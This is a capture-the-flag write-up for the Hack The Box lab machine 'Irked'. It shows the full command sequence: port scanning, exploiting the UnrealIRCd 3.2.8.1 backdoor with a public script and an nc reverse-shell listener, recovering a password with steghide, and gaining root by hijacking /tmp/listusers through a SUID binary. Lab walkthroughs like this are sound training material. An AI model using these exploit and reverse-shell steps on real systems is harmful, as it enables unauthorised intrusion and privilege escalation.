Irked
Nmap :p
nmap -sC -sV -p- 10.129.x.x
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
65534/tcp open irc UnrealIRCd
The website is just a picture of a face with the text “IRC is almost working!”, and there’s UnrealIRCd running on a few high ports. Connecting to it shows version 3.2.8.1, which is famous for having a backdoor added to its source download back in 2010. Sending a message that starts with AB; makes the server run whatever comes after it as a system command.
https://github.com/kevinpdicks/UnrealIRCD-3.2.8.1-RCE
nc -lvnp 4444
python exploit.py irked.htb 8067 10.10.17.229 4444
This gets us initial access as ircd.
User
There’s a user called djmardov and we can see his Documents folder, but not read user.txt. There is a hidden file in there though:
ircd@irked:/home/djmardov/Documents$ ls -la
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
lrwxrwxrwx 1 root root 23 Sep 5 2022 user.txt -> /home/djmardov/user.txt
ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
That’s not djmardov’s password (I tried), but it says “steg”, so it’s for something hidden in a file. The only image we’ve seen is the one on the website, so let’s grab it and try steghide:
wget http://irked.htb/irked.jpg
steghide extract -sf irked.jpg -p "UPupDOWNdownLRlrBAbaSSss"
cat pass.txt
Kab6h+m+bbp2J:HG
That one is djmardov’s password, so we can SSH in and grab the user flag.
Privesc
Looking for SUID binaries, most of these are normal, but one doesn’t belong:
djmardov@irked:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/exim4
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/viewuser
/bin/su
/bin/mount
...
viewuser isn’t a standard binary. Running it:
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2026-09-21 02:41 (:0)
djmardov pts/1 2026-09-21 03:29 (10.10.17.229)
sh: 1: /tmp/listusers: not found
It tries to run /tmp/listusers, which doesn’t exist. Since viewuser is SUID root, whatever it runs also runs as root, and anyone can write to /tmp. So we just make /tmp/listusers a bash shell:
djmardov@irked:~$ echo "/bin/bash" > /tmp/listusers
djmardov@irked:~$ chmod +x /tmp/listusers
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
root@irked:~# whoami
root
root@irked:~# cat /root/root.txt
Ez gg.